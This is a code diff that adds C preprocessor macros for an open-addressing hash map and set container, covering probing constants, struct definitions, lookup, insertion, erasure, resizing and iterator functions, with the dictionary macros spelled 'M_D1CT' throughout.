+// Define a pair index of the cell where the (key,value) is stored / hash of the key.
+typedef struct {
+  m_index_t index;
+  m_index_t hash;
+} m_indexhash_t;
+
+// Define a basic array over such pair
+M_ARRAY_DEF(m_array_index, m_indexhash_t, M_POD_OPLIST)
+
+/* Performing Quadratic probing
+   Replace it by '1' to perform linear probing */
+#ifdef M_USE_DICT_OA_PROBING
+# define M_D1CT_OA_PROBING M_USE_DICT_OA_PROBING
+#else
+# define M_D1CT_OA_PROBING(s) ((s)++)
+#endif
+
+/* Lower Bound of the hash table
+   We shall have 2*M_D1CT_OA_LOWER_BOUND < M_D1CT_OA_UPPER_BOUND
+ */
+#ifndef M_D1CT_OA_LOWER_BOUND
+#define M_D1CT_OA_LOWER_BOUND 0.2
+#endif
+
+/* Upper Bound of the hash table 
+   The container is designed for an upper bound in the range [0.5-0.75]
+   Using higher upper bound (even by a slow amount) will deteriorate a lot the performance:
+   an upper-bound of 0.875 is ~3 times slower than an upper bound of 0.7 for lockup of key not present
+   (without considering prefetch of cache-lines which improve performance).
+   This is due to the esperance of the number of reads before reading an empty value which is:
+   (1-q)*sum(q^k*(k+1),k=0 .. infinity) = 1/(1-q)
+   which is the estimated number of iteration before stopping the search loop.
+ */
+#ifndef M_D1CT_OA_UPPER_BOUND
+#define M_D1CT_OA_UPPER_BOUND 0.7
+#endif
+
+/* Define initial size of the hash table */
+#ifndef M_D1CT_INITIAL_SIZE
+#define M_D1CT_INITIAL_SIZE   16
+#endif
+
+/* Define a dictionary from the key key_type to the value value_type.
+   It is defined as an array of singly linked list (each list
+   representing a bucket of items with the same hash value modulo the
+   current array size).
+*/
+/* Deferred evaluation for arg */
+#define M_D1CT_DEF2_P1(arg) M_ID( M_D1CT_DEF2_P2 arg )
+
+/* Validate the key oplist before going further */
+#define M_D1CT_DEF2_P2(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_IF_OPLIST(key_oplist)(M_D1CT_DEF2_P3, M_D1CT_DEF2_FAILURE)(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t)
+
+/* Validate the value oplist before going further */
+#define M_D1CT_DEF2_P3(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_IF_OPLIST(value_oplist)(M_D1CT_DEF2_P4, M_D1CT_DEF2_FAILURE)(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t)
+
+/* Stop processing with a compilation failure */
+#define M_D1CT_DEF2_FAILURE(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(DICT_DEF2): at least one of the given argument is not a valid oplist: " M_AS_STR(key_oplist) " / " M_AS_STR(value_oplist) )
+
+#define M_D1CT_DEF2_P4(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+                                                                              \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, key_type, key_oplist)                    \
+  M_CHECK_COMPATIBLE_OPLIST(name, 2, value_type, value_oplist)                \
+                                                                              \
+  M_D1CT_FUNC_DEF2_P5(name, key_type, key_oplist, value_type, value_oplist, 0, dict_t, dict_it_t, it_deref_t )
+
+
+/* Define a set with the key key_type
+   It is defined as an array of singly linked list (each list
+   representing a bucket).
+*/
+#define M_D1CT_SET_DEF_P1(arg) M_ID( M_D1CT_SET_DEF_P2 arg )
+
+/* Validate the key oplist before going further */
+#define M_D1CT_SET_DEF_P2(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_IF_OPLIST(key_oplist)(M_D1CT_SET_DEF_P4, M_D1CT_SET_DEF_FAILURE)(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t)
+
+/* Stop processing with a compilation failure */
+#define M_D1CT_SET_DEF_FAILURE(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(DICT_SET_DEF): the given argument is not a valid oplist: " M_AS_STR(key_oplist) )
+
+#define M_D1CT_SET_DEF_P4(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t) \
+                                                                              \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, key_type, key_oplist)                    \
+                                                                              \
+  M_D1CT_FUNC_DEF2_P5(name, key_type, key_oplist, key_type, M_EMPTY_OPLIST, 1, dict_t, dict_it_t, it_deref_t)
+
+/* Define the dictionary contract */
+#ifdef NDEBUG
+#define M_D1CT_CONTRACT(dict)
+#else
+#define M_D1CT_CONTRACT(dict) do {                                            \
+    M_ASSERT ( (dict) != NULL);                                               \
+    M_ASSERT( (dict)->lower_limit <= (dict)->count);                          \
+    M_ASSERT( (dict)->count <= (dict)->upper_limit );                         \
+    M_ASSERT( (dict)->index != NULL);                                         \
+    M_ASSERT( (dict)->data != NULL);                                          \
+    M_ASSERT( M_POWEROF2_P((dict)->mask+1));                                  \
+    M_ASSERT( (dict)->mask+1 >= M_D1CT_INITIAL_SIZE);                         \
+    M_ASSERT( (dict)->upper_limit <= (dict)->mask+1);                         \
+    M_ASSERT( (dict)->freelist_first_data != 0 || (dict)->count+2 == (dict)->freelist_count); \
+  } while (0)
+#endif
+
+/* Define the structure of a dictionary for map and set
+ * name: prefix of the container,
+ * key_type: type of the key
+ * key_oplist: oplist of the key
+ * value_type: type of the value (if a SET, it is = key_type)
+ * value_oplist: oplist of the value (if a SET, all methods are NOP)
+ * isSet: is the container a SET (=1) or a MAP (=0)
+ * dict_t: name of the type to construct
+ * dict_it_t: name of the iterator within the dictionary.
+ * it_deref_t: name of the type returned by an iterator
+*/
+#define M_D1CT_FUNC_DEF2_P5(name, key_type, key_oplist, value_type, value_oplist, isSet, dict_t, dict_it_t, it_deref_t) \
+                                                                              \
+  /* Define pair of key,value */                                              \
+  typedef struct M_F(name, _pair_s) {                                         \
+    key_type   key;                                                           \
+    M_IF(isSet)( , value_type value;)                                         \
+  } M_F(name, _pair_ct);                                                      \
+                                                                              \
+  /* Define either a freelist or a pair of (key,value) */                     \
+  typedef union {                                                             \
+    m_index_t           freelist;                                             \
+    M_F(name, _pair_ct)  pair;                                                \
+  } M_F(name, _freelist_ct);                                                  \
+                                                                              \
+  /* Define the dictionary */                                                 \
+  typedef struct M_F(name, _s) {                                              \
+    m_index_t count, count_delete;                                            \
+    m_index_t upper_limit, lower_limit;                                       \
+    m_index_t mask;                                                           \
+    m_index_t freelist_first_data, freelist_count, freelist_cap;              \
+    m_indexhash_t *index;                                                     \
+    M_F(name, _freelist_ct) *data;                                            \
+  } dict_t[1];                                                                \
+                                                                              \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* Define iterator type */                                                  \
+  typedef struct M_F(name, _it_s) {                                           \
+    const struct M_F(name, _s) *dict;                                         \
+    m_index_t index;                                                          \
+  } dict_it_t[1];                                                             \
+                                                                              \
+  /* Define type returned by the _ref method of an iterator */                \
+  typedef M_IF(isSet)(key_type, M_F(name, _pair_ct)) it_deref_t;              \
+                                                                              \
+  /* Define internal types for oplist usage */                                \
+  typedef dict_t M_F(name, _ct);                                              \
+  typedef it_deref_t M_F(name, _subtype_ct);                                  \
+  typedef key_type M_F(name, _key_ct);                                        \
+  typedef value_type M_F(name, _value_ct);                                    \
+  typedef dict_it_t M_F(name, _it_ct);                                        \
+  typedef m_index_t M_F(name, _index_ct);                                     \
+                                                                              \
+  M_INLINE void                                                               \
+  M_C3(m_d1ct_,name,_update_limit)(dict_t map, m_index_t size)                \
+  {                                                                           \
+    map->upper_limit = (m_index_t) ((double) size * M_D1CT_OA_UPPER_BOUND) - 1; \
+    map->lower_limit = (size <= M_D1CT_INITIAL_SIZE) ? 0 : (m_index_t) ((double) size * M_D1CT_OA_LOWER_BOUND) ; \
+    if (M_UNLIKELY(map->count <= map->lower_limit)) {                         \
+      map->lower_limit = 0;                                                   \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init, dict_t map)                                          \
+  {                                                                           \
+    M_ASSERT (map != NULL);                                                   \
+    map->mask = M_D1CT_INITIAL_SIZE-1;                                        \
+    map->count = 0;                                                           \
+    map->count_delete = 0;                                                    \
+    M_C3(m_d1ct_,name,_update_limit)(map, M_D1CT_INITIAL_SIZE);               \
+    /* The first 2 buckets are reserved for (empty) and (deleted) access. Allocation could be avoided */ \
+    map->data = M_CALL_REALLOC(key_oplist, M_F(name, _freelist_ct), NULL, 0, (size_t) 1+2+map->upper_limit); \
+    if (M_UNLIKELY_NOMEM (map->data == NULL)) {                               \
+      M_MEMORY_FULL(M_F(name, _freelist_ct), 2+M_D1CT_INITIAL_SIZE);          \
+    }                                                                         \
+    map->freelist_first_data = 0;                                             \
+    map->freelist_count = 2;                                                  \
+    map->freelist_cap = 1+2+map->upper_limit;                                 \
+    map->index = M_CALL_REALLOC(key_oplist, m_indexhash_t, NULL, 0, (size_t)(0+M_D1CT_INITIAL_SIZE)); \
+    if (M_UNLIKELY_NOMEM (map->index == NULL)) {                              \
+      M_MEMORY_FULL(m_indexhash_t, 2+M_D1CT_INITIAL_SIZE);                    \
+    }                                                                         \
+    /* Populate the initial table with the 'empty' representation which is 0 */ \
+    for(m_index_t i = 0; i < M_D1CT_INITIAL_SIZE; i++) {                      \
+      map->index[i].index = 0;                                                \
+      map->index[i].hash  = 0;                                                \
+    }                                                                         \
+    M_D1CT_CONTRACT(map);                                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name,_clear, dict_t map)                                          \
+  {                                                                           \
+    M_D1CT_CONTRACT(map);                                                     \
+    /* Clear objects */                                                       \
+    /* We want to iterate over data directly, but we cannot :                 \
+       we don't know if it is initialized or not otherwise */                 \
+    for(m_index_t i = 0; i <= map->mask; i++) {                               \
+      m_index_t d = map->index[i].index;                                      \
+      if (d >= 2) {                                                           \
+        M_CALL_CLEAR(key_oplist, map->data[d].pair.key);                      \
+        M_CALL_CLEAR(value_oplist, map->data[d].pair.value);                  \
+      }                                                                       \
+    }                                                                         \
+    M_CALL_FREE(key_oplist, m_indexhash_t, map->index, map->mask+1);          \
+    M_CALL_FREE(key_oplist, M_F(name, _freelist_ct), map->data, map->freelist_cap); \
+    /* Mark the dictionary as cleared */                                      \
+    map->data = NULL;                                                         \
+    map->index = NULL;                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(dict_t map, dict_t org)                               \
+  {                                                                           \
+    M_D1CT_CONTRACT(org);                                                     \
+    memcpy(map, org, sizeof (dict_t));                                        \
+    /* Mark the original dictionary as cleared (invalid representation) */    \
+    org->data = NULL;                                                         \
+    org->index = NULL;                                                        \
+  }                                                                           \
+                                                                              \
+                                                                              \
+  M_IF_DEBUG(                                                                 \
+  M_INLINE void                                                               \
+  M_C3(m_d1ct_,name,_control_after_resize)(const dict_t h)                    \
+  {                                                                           \
+    /* This function checks if the reshashing of the dict is ok */            \
+    size_t empty = 0;                                                         \
+    size_t del = 0;                                                           \
+    /* Count the number of empty elements and the number of deleted */        \
+    for(size_t i = 0 ; i <= h->mask ; i++) {                                  \
+      empty += h->index[i].index == 0;                                        \
+      del   += h->index[i].index == 1;                                        \
+      M_ASSERT( h->index[i].index < h->freelist_count);                       \
+    }                                                                         \
+    M_ASSERT(del == 0);                                                       \
+    M_ASSERT(empty + h->count == h->mask + 1);                                \
+  }                                                                           \
+  )                                                                           \
+                                                                              \
+  M_INLINE m_index_t                                                          \
+  M_C3(m_d1ct_,name,_get_free_bucket)(dict_t map)                             \
+  {                                                                           \
+    m_index_t d = map->freelist_first_data;                                   \
+    if (d != 0) {                                                             \
+      M_ASSERT(d >= 2);                                                       \
+      map->freelist_first_data = map->data[d].freelist;                       \
+      return d;                                                               \
+    }                                                                         \
+    M_ASSERT(map->freelist_count <= 2+map->upper_limit);                      \
+    return map->freelist_count++;                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_C3(m_d1ct_,name,_release_bucket)(dict_t map, m_index_t d)                 \
+  {                                                                           \
+    M_ASSERT(d >= 2 && d < map->freelist_count);                              \
+    map->data[d].freelist = map->freelist_first_data;                         \
+    map->freelist_first_data = d;                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_type *                                                       \
+  M_F(name, _get)(const dict_t map, key_type const key)                       \
+  {                                                                           \
+    M_D1CT_CONTRACT(map);                                                     \
+    const m_index_t mask = map->mask;                                         \
+    m_index_t hash = (m_index_t) M_CALL_HASH(key_oplist, key);                \
+    m_index_t p = hash & mask;                                                \
+    m_index_t s = 1;                                                          \
+    /* We are likely to find the correct bucket first */                      \
+    while (true) {                                                            \
+      if (M_LIKELY (hash == map->index[p].hash)) {                            \
+        m_index_t d = map->index[p].index;                                    \
+        if (M_LIKELY(d >=2 && M_CALL_EQUAL(key_oplist, map->data[d].pair.key, key))) { \
+          return &map->data[d].pair.M_IF(isSet)(key, value);                  \
+        }                                                                     \
+      }                                                                       \
+      if (M_LIKELY (map->index[p].index == 0)) {                              \
+        return NULL;                                                          \
+      }                                                                       \
+      p = (p + M_D1CT_OA_PROBING(s)) & mask;                                  \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_type *                                                       \
+  M_F(name, _prehashed_get)(const dict_t map, key_type const key, size_t prehash) \
+  {                                                                           \
+    M_D1CT_CONTRACT(map);                                                     \
+    M_ASSERT( M_CALL_HASH(key_oplist, key) == prehash);                       \
+    const m_index_t mask = map->mask;                                         \
+    m_index_t p = (m_index_t) prehash & mask;                                 \
+    m_index_t s = 1;                                                          \
+    /* We are likely to find the correct bucket first */                      \
+    while (true) {                                                            \
+      if (M_LIKELY ((m_index_t) prehash == map->index[p].hash)) {             \
+        m_index_t d = map->index[p].index;                                    \
+        if (M_LIKELY(d >=2 && M_CALL_EQUAL(key_oplist, map->data[d].pair.key, key))) { \
+          return &map->data[d].pair.M_IF(isSet)(key, value);                  \
+        }                                                                     \
+      }                                                                       \
+      if (M_LIKELY (map->index[p].index == 0)) {                              \
+        return NULL;                                                          \
+      }                                                                       \
+      p = (p + M_D1CT_OA_PROBING(s)) & mask;                                  \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _i_resize_up, dict_t h, m_index_t newSize, bool updateLimit) \
+  {                                                                           \
+    /* NOTE: Contract may not be fulfilled here */                            \
+    m_index_t oldSize = h->mask+1;                                            \
+    M_ASSERT (newSize >= oldSize);                                            \
+    M_ASSERT (M_POWEROF2_P(newSize));                                         \
+                                                                              \
+    if (updateLimit == true) {                                                \
+      M_C3(m_d1ct_,name,_update_limit)(h, newSize);                           \
+    }                                                                         \
+    /* resize can be called just to delete the items */                       \
+    if (newSize > oldSize) {                                                  \
+      /* h->data is not always the same size than h->index: it may be bigger  \
+         if there is some erase of items: h->index will shrink, but not h->data \
+         if it is bigger than our new size, then we don't need to reallocate */ \
+      /* We need to allocate '2' for the dummy first two entries in the table (not used), \
+         then we can have at maximum only up to 'upper_limit+1' data */       \
+      if (1+2+h->upper_limit > h->freelist_cap) {                             \
+        h->data = M_CALL_REALLOC(key_oplist, M_F(name, _freelist_ct), h->data, h->freelist_cap, (size_t) 1+2+h->upper_limit); \
+        if (M_UNLIKELY_NOMEM (h->data == NULL) ) {                            \
+          M_MEMORY_FULL(M_F(name, _freelist_ct), 2+newSize);                  \
+        }                                                                     \
+        h->freelist_cap = 1+2+h->upper_limit;                                 \
+      }                                                                       \
+      m_indexhash_t *index = M_CALL_REALLOC(key_oplist, m_indexhash_t, h->index, oldSize, (size_t)0+newSize); \
+      if (M_UNLIKELY_NOMEM (index == NULL) ) {                                \
+        M_MEMORY_FULL(m_indexhash_t, newSize);                                \
+      }                                                                       \
+      h->index = index;                                                       \
+                                                                              \
+      /* First mark the extended space as empty */                            \
+      for(m_index_t i = oldSize ; i < newSize; i++) {                         \
+        h->index[i].index = 0;                                                \
+        h->index[i].hash  = 0;                                                \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    /* Then let's rehash all the entries in their **exact** position.         \
+      If we can't, let's put them in the 'tmp' array.                         \
+      It has been measured that the size of this 'tmp' array is               \
+      around 6% of the size of updated dictionary.                            \
+      NOTE: This should be much cache friendly than typical hash code  */     \
+    m_array_index_t tmp;                                                      \
+    m_array_index_init(tmp);                                                  \
+    const m_index_t mask = (newSize -1);                                      \
+                                                                              \
+    for(m_index_t i = 0 ; i < oldSize; i++) {                                 \
+      m_index_t ind  = h->index[i].index;                                     \
+      m_index_t hash = h->index[i].hash;                                      \
+      h->index[i].index = 0;                                                  \
+      if (ind >= 2) {                                                         \
+        m_index_t p = hash & mask;                                            \
+        if (h->index[p].index <= 1) {                                         \
+          h->index[p].index = ind;                                            \
+          h->index[p].hash  = hash;                                           \
+        } else {                                                              \
+          m_indexhash_t t = { ind, hash };                                    \
+          m_array_index_push_back M_R(tmp, t);                                \
+        }                                                                     \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    /* Let's put back the entries in the tmp array in their right place */    \
+    /* NOTE: There should be very few entries in this array                   \
+      which contains what we weren't be able to fit in the first pass */      \
+    while (m_array_index_size(tmp) > 0) {                                     \
+      m_indexhash_t ind;                                                      \
+      m_array_index_pop_back M_R(&ind, tmp);                                  \
+      m_index_t p = ind.hash & mask;                                          \
+      /* NOTE: since the first pass, the bucket might be free now */          \
+      m_index_t s = 1;                                                        \
+      while (h->index[p].index != 0) {                                        \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+        M_ASSERT (s <= h->mask);                                              \
+      }                                                                       \
+      h->index[p].index = ind.index;                                          \
+      h->index[p].hash  = ind.hash;                                           \
+    }                                                                         \
+                                                                              \
+    m_array_index_clear M_R(tmp);                                             \
+    h->mask = newSize-1;                                                      \
+    h->count_delete = h->count;                                               \
+    M_IF_DEBUG(  M_C3(m_d1ct_,name,_control_after_resize)(h);  )              \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _i_resize_down, dict_t h, m_index_t newSize)                \
+  {                                                                           \
+    /* NOTE: Contract may not be fulfilled here */                            \
+    m_index_t oldSize = h->mask+1;                                            \
+    M_ASSERT (newSize <= oldSize && M_POWEROF2_P(newSize));                   \
+    if (M_UNLIKELY (newSize < M_D1CT_INITIAL_SIZE))                           \
+      newSize = M_D1CT_INITIAL_SIZE;                                          \
+    const m_index_t mask = newSize -1;                                        \
+    m_array_index_t tmp;                                                      \
+    m_array_index_init(tmp);                                                  \
+                                                                              \
+    /* Pass 1: scan lower entries, and move them if needed */                 \
+    for(m_index_t i = 0; i < newSize; i++) {                                  \
+      m_index_t ind  = h->index[i].index;                                     \
+      m_index_t hash = h->index[i].hash;                                      \
+      h->index[i].index = 0;                                                  \
+      if (ind >= 2) {                                                         \
+        m_index_t p = hash & mask;                                            \
+        if (h->index[p].index <= 1) {                                         \
+          h->index[p].index = ind;                                            \
+          h->index[p].hash  = hash;                                           \
+        } else {                                                              \
+          m_indexhash_t t = { ind, hash };                                    \
+          m_array_index_push_back M_R(tmp, t);                                \
+        }                                                                     \
+      }                                                                       \
+    }                                                                         \
+    /* Pass 2: scan upper entries and move them back */                       \
+    for(m_index_t i = newSize; i < oldSize; i++) {                            \
+      if (h->index[i].index >= 2) {                                           \
+        m_index_t p = h->index[i].hash & mask;                                \
+        m_index_t s = 1;                                                      \
+        while (h->index[p].index != 0) {                                      \
+          p = (p + M_D1CT_OA_PROBING(s)) & mask;                              \
+          M_ASSERT (s <= h->mask);                                            \
+        }                                                                     \
+        h->index[p].index = h->index[i].index;                                \
+        h->index[p].hash  = h->index[i].hash;                                 \
+      }                                                                       \
+    }                                                                         \
+    /* Pass 3: scan failed moved entries and move them back */                \
+    while (m_array_index_size(tmp) > 0) {                                     \
+      m_indexhash_t ind;                                                      \
+      m_array_index_pop_back M_R(&ind, tmp);                                  \
+      m_index_t p = ind.hash & mask;                                          \
+      m_index_t s = 1;                                                        \
+      while (h->index[p].index != 0) {                                        \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+        M_ASSERT (s <= h->mask);                                              \
+      }                                                                       \
+      h->index[p].index = ind.index;                                          \
+      h->index[p].hash  = ind.hash;                                           \
+    }                                                                         \
+                                                                              \
+    m_array_index_clear M_R(tmp);                                             \
+    h->count_delete = h->count;                                               \
+    if (newSize != oldSize) {                                                 \
+      h->mask = newSize-1;                                                    \
+      M_C3(m_d1ct_,name,_update_limit)(h, newSize);                           \
+      h->index = M_CALL_REALLOC(key_oplist, m_indexhash_t, h->index, oldSize, (size_t)0+newSize); \
+      M_ASSERT (h->index != NULL);                                            \
+      /* FIXME: What to do for h->data ? */                                   \
+    }                                                                         \
+    M_IF_DEBUG(  M_C3(m_d1ct_,name,_control_after_resize)(h);  )              \
+    M_D1CT_CONTRACT(h);                                                       \
+  }                                                                           \
+                                                                              \
+  M_IF(isSet)(                                                                \
+    M_P(void, name, _push, dict_t map, key_type const key) ,                  \
+    M_P(void, name, _set_at, dict_t map, key_type const key, value_type const value)) \
+  {                                                                           \
+    M_D1CT_CONTRACT(map);                                                     \
+    const m_index_t mask = map->mask;                                         \
+    m_index_t hash = (m_index_t) M_CALL_HASH(key_oplist, key);                \
+    m_index_t p = hash & mask;                                                \
+                                                                              \
+    /* Test if bucket is not empty ? (50 % likely) */                         \
+    if (map->index[p].index != 0) {                                           \
+      /* Find the insertion point as the bucket[] is not empty */             \
+      m_index_t delPos = (m_index_t) -1;                                      \
+      m_index_t s = 1U;                                                       \
+      do {                                                                    \
+        if (M_UNLIKELY(hash == (map->index[p].hash))) {                       \
+          m_index_t d = map->index[p].index;                                  \
+          M_ASSERT(d <= map->freelist_count);                                 \
+          if (d >= 2 && M_CALL_EQUAL(key_oplist, map->data[d].pair.key, key)) { \
+            M_CALL_SET(value_oplist, map->data[d].pair.value, value);         \
+            return;                                                           \
+          }                                                                   \
+        }                                                                     \
+        if (map->index[p].index == 1 && delPos == (m_index_t) -1) delPos = p; \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+      } while (map->index[p].index != 0);                                     \
+      if (delPos != (m_index_t) -1) {                                         \
+        p = delPos;                                                           \
+        map->count_delete --;                                                 \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    m_index_t d = M_C3(m_d1ct_,name,_get_free_bucket)(map);                   \
+    M_CALL_INIT_SET(key_oplist, map->data[d].pair.key, key);                  \
+    M_CALL_INIT_SET(value_oplist, map->data[d].pair.value, value);            \
+    map->index[p].index = d;                                                  \
+    map->index[p].hash  = hash;                                               \
+    map->count++;                                                             \
+    map->count_delete ++;                                                     \
+                                                                              \
+    if (M_UNLIKELY (map->count_delete >= map->upper_limit)) {                 \
+      m_index_t newSize = map->mask+1;                                        \
+      if (map->count > newSize/2) {                                           \
+        newSize += newSize;                                                   \
+        if (M_UNLIKELY_NOMEM (newSize <= map->mask+1)) {                      \
+          M_MEMORY_FULL(char, (size_t)-1);                                    \
+        }                                                                     \
+      }                                                                       \
+      M_F(name,_i_resize_up)M_R(map, newSize, true);                          \
+    }                                                                         \
+    M_D1CT_CONTRACT(map);                                                     \
+  }                                                                           \
+                                                                              \
+  M_P(value_type *, name, _safe_get, dict_t map, key_type const key)          \
+  {                                                                           \
+    M_D1CT_CONTRACT(map);                                                     \
+    const m_index_t mask = map->mask;                                         \
+    const m_index_t hash = (m_index_t) M_CALL_HASH(key_oplist, key);          \
+    m_index_t p = hash & mask;                                                \
+                                                                              \
+    if (M_UNLIKELY (hash == map->index[p].hash)) {                            \
+      m_index_t d = map->index[p].index;                                      \
+      M_ASSERT(d <= map->freelist_count);                                     \
+      if (d >= 2 && M_CALL_EQUAL(key_oplist, map->data[d].pair.key, key)) {   \
+        return & map->data[d].pair.M_IF(isSet)(key, value);                   \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    if (M_UNLIKELY( map->index[p].index != 0)) {                              \
+      /* Find the insertion point as the bucket[] is not empty */             \
+      m_index_t delPos = (m_index_t)-1;                                       \
+      if (map->index[p].index == 1) delPos = p;                               \
+      m_index_t s = 1U;                                                       \
+      do {                                                                    \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+        if (hash == (map->index[p].hash)) {                                   \
+          m_index_t d = map->index[p].index;                                  \
+          M_ASSERT(d <= map->freelist_count);                                 \
+          if (d >= 2 && M_CALL_EQUAL(key_oplist, map->data[d].pair.key, key)) { \
+            return & map->data[d].pair.M_IF(isSet)(key, value);               \
+          }                                                                   \
+        }                                                                     \
+        if (map->index[p].index == 1 && delPos == (m_index_t) -1) delPos = p; \
+      } while (map->index[p].index != 0);                                     \
+      if (delPos != (m_index_t) -1) {                                         \
+        p = delPos;                                                           \
+        map->count_delete --;                                                 \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    m_index_t d = M_C3(m_d1ct_,name,_get_free_bucket)(map);                   \
+    M_CALL_INIT_SET(key_oplist, map->data[d].pair.key, key);                  \
+    M_CALL_INIT(value_oplist, map->data[d].pair.value);                       \
+    map->index[p].index = d;                                                  \
+    map->index[p].hash  = hash;                                               \
+    map->count++;                                                             \
+    map->count_delete ++;                                                     \
+                                                                              \
+    if (M_UNLIKELY (map->count_delete >= map->upper_limit)) {                 \
+      m_index_t newSize = map->mask+1;                                        \
+      if (map->count > newSize/2) {                                           \
+        newSize += newSize;                                                   \
+        if (M_UNLIKELY_NOMEM (newSize <= map->mask+1)) {                      \
+          M_MEMORY_FULL(char, (size_t)-1);                                    \
+        }                                                                     \
+      }                                                                       \
+      M_F(name,_i_resize_up)M_R(map, newSize, true);                          \
+    }                                                                         \
+    M_D1CT_CONTRACT(map);                                                     \
+    /* bucket index won't move even if resize is done */                      \
+    return &map->data[d].pair.M_IF(isSet)(key, value);                        \
+  }                                                                           \
+                                                                              \
+  M_P(bool, name, _erase, dict_t map, key_type const key)                     \
+  {                                                                           \
+    M_D1CT_CONTRACT(map);                                                     \
+                                                                              \
+    const m_index_t mask = map->mask;                                         \
+    const m_index_t hash = (m_index_t) M_CALL_HASH(key_oplist, key);          \
+    m_index_t p = hash & mask;                                                \
+                                                                              \
+    m_index_t s = 1;                                                          \
+    while (true) {                                                            \
+      if (M_LIKELY (hash == map->index[p].hash)) {                            \
+        m_index_t d = map->index[p].index;                                    \
+        M_ASSERT(d <= map->freelist_count);                                   \
+        if (d >= 2 && M_CALL_EQUAL(key_oplist, map->data[d].pair.key, key)) { \
+          break;                                                              \
+        }                                                                     \
+      }                                                                       \
+      if (map->index[p].index == 0)                                           \
+        return false;                                                         \
+      p = (p + M_D1CT_OA_PROBING(s)) & mask;                                  \
+      M_ASSERT (s <= map->mask);                                              \
+    }                                                                         \
+    const m_index_t d = map->index[p].index;                                  \
+    M_ASSERT(d <= map->freelist_count);                                       \
+    M_CALL_CLEAR(key_oplist, map->data[d].pair.key);                          \
+    M_CALL_CLEAR(value_oplist, map->data[d].pair.value);                      \
+    M_C3(m_d1ct_,name,_release_bucket)(map, d);                               \
+    map->index[p].index = 1;                                                  \
+    M_ASSERT (map->count >= 1);                                               \
+    map->count--;                                                             \
+    if (M_UNLIKELY (map->count < map->lower_limit)) {                         \
+      M_F(name,_i_resize_down)M_R(map, (map->mask+1) >> 1);                   \
+    }                                                                         \
+    M_D1CT_CONTRACT(map);                                                     \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(dict_it_t it, const dict_t d)                                \
+  {                                                                           \
+    M_D1CT_CONTRACT(d);                                                       \
+    M_ASSERT(it != NULL);                                                     \
+    it->dict = d;                                                             \
+    m_index_t i = 0;                                                          \
+    while (i <= d->mask && d->index[i].index <= 1)                            \
+      i++;                                                                    \
+    it->index = i;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(dict_it_t it, const dict_it_t ref)                       \
+  {                                                                           \
+    M_ASSERT (it != NULL && ref != NULL);                                     \
+    it->dict = ref->dict;                                                     \
+    it->index = ref->index;                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(dict_it_t it, const dict_t d)                            \
+  {                                                                           \
+    M_D1CT_CONTRACT(d);                                                       \
+    M_ASSERT(it != NULL);                                                     \
+    it->dict  = d;                                                            \
+    it->index = d->mask+1;                                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const dict_it_t it)                                       \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->index > it->dict->mask;                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(dict_it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    const M_F(name, _srcptr) d = it->dict;                                    \
+    m_index_t i = it->index;                                                  \
+    do {                                                                      \
+      i++;                                                                    \
+    } while (M_LIKELY(i <= d->mask) && M_UNLIKELY(d->index[i].index <= 1));   \
+    it->index = i;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const dict_it_t it)                                      \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    const M_F(name, _srcptr) d = it->dict;                                    \
+    m_index_t i = it->index+1;                                                \
+    while (i <= d->mask && d->index[i].index <= 1)                            \
+      i++;                                                                    \
+    return i > d->mask;                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const dict_it_t it1, const dict_it_t it2)            \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    return it1->dict == it2->dict && it1->index == it2->index;                \
+  }                                                                           \
